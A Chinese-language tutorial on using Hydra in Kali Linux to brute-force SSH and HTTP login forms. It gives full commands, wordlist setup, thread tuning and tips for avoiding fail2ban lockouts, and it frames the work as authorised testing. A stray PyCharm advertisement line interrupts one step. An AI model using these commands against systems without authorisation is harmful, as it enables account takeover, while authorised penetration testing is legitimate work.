在kali linux中用hydra破解密码需先确认服务类型、准备有效字典、设置合理线程数,并严格授权测试;未验证环境或误设高并发易致连接重置、漏报或触发防御。

在Kali Linux中用Hydra破解密码,必须先确认目标服务类型、获取有效字典、设置合理线程数,并严格限定在授权测试范围内执行;跳过环境验证或误用高并发参数,可能导致连接被重置、结果漏报甚至触发目标防御机制。
确认Hydra已安装并查看支持协议
打开终端,输入 【hydra -h】 查看帮助信息,重点观察输出顶部的“Supported services”列表——它实时反映当前版本支持的协议(如 ssh、ftp、http-post-form 等),而非文档里写的全部协议。
若提示 command not found,运行 【sudo apt update && sudo apt install hydra -y】 安装;Kali 2026.2 及以后版本默认预装,但部分精简镜像可能未包含。
输入 【hydra -v】 验证版本,输出应含类似 “Hydra v9.5 (c) 2024 by van Hauser/THC” 字样,说明工具可用。
准备并验证字典文件
方法一:直接使用 Kali 自带的 rockyou.txt(需先解压):
执行 【sudo gunzip /usr/share/wordlists/rockyou.txt.gz】,解压后路径为 【/usr/share/wordlists/rockyou.txt】。
方法二:快速生成测试字典避免权限或路径错误:
运行 【echo -e "admin\n123456\npassword" > /tmp/testpass.txt】 创建三行密码文件,确保路径可读且无中文空格。
注意:rockyou.txt 解压后体积超 400MB,首次读取会卡顿 2–3 秒,别误判为命令卡死。
对SSH服务进行单用户密码爆破
第一步:确认目标主机SSH端口是否为默认22——用 【nmap -p22,2222 192.168.1.100】 扫描,避免因端口错误导致全程无响应。
PyCharm 2026.2.0.1 Linux版提供 JetBrains 官方 2026.2.0.1 版本安装包,适合需要指定 PyCharm 版本进行 Python 项目开发、运行和调试的用户。
第二步:执行基础爆破命令:
【hydra -l root -P /tmp/testpass.txt 192.168.1.100 ssh】。
这里 -l 指定用户名,-P 指向密码字典,ssh 协议名不加斜杠也可识别。
第三步:添加 【-vV】 实时观察尝试过程,每行输出形如 “[VERBOSE] Trying login:root/password:123456”,失败时不会显示高亮结果,仅成功时终端自动打印绿色凭证行。
第四步:若需保存结果到文件,追加 【-o /tmp/ssh_result.txt】;该文件只记录成功条目,格式为 “host:port login:password”。
对HTTP表单登录页爆破(以常见后台为例)
方法一:使用 http-get 方式(适用于URL参数登录,如 ?user=xxx&pass=yyy):
【hydra -L users.txt -P pass.txt -vV 192.168.1.100 http-get /login.php】。
方法二:用 http-post-form 爆破 POST 提交的登录框(最常用):
先用浏览器开发者工具抓包,确认表单 action 地址(如 /admin/login)和字段名(如 username、password);
再执行:
【hydra -L users.txt -P pass.txt -vV -f 192.168.1.100 http-post-form "/admin/login:username=^USER^&password=^PASS^:F=Login failed"】。
其中 【F=Login failed】 是失败关键词,必须与页面实际返回内容完全一致(区分大小写、空格),否则所有请求都判为成功。
调整线程数与规避防御机制
内网靶机可设 【-t 8】 加速;外网或云主机务必降至 【-t 2】,否则目标 nginx 或 fail2ban 可能在第 3 次失败后封禁你的 IP。
加 【-w 5】 设置单次连接超时为 5 秒,防止因网络抖动导致线程卡死;不加此参数时默认 30 秒,爆破 1000 行字典可能多耗 15 分钟。
遇到 “all tasks completed” 却无结果,立即检查:目标服务是否真实运行、防火墙是否放行、字典路径是否拼错、-e nsr 是否误加导致干扰主逻辑。










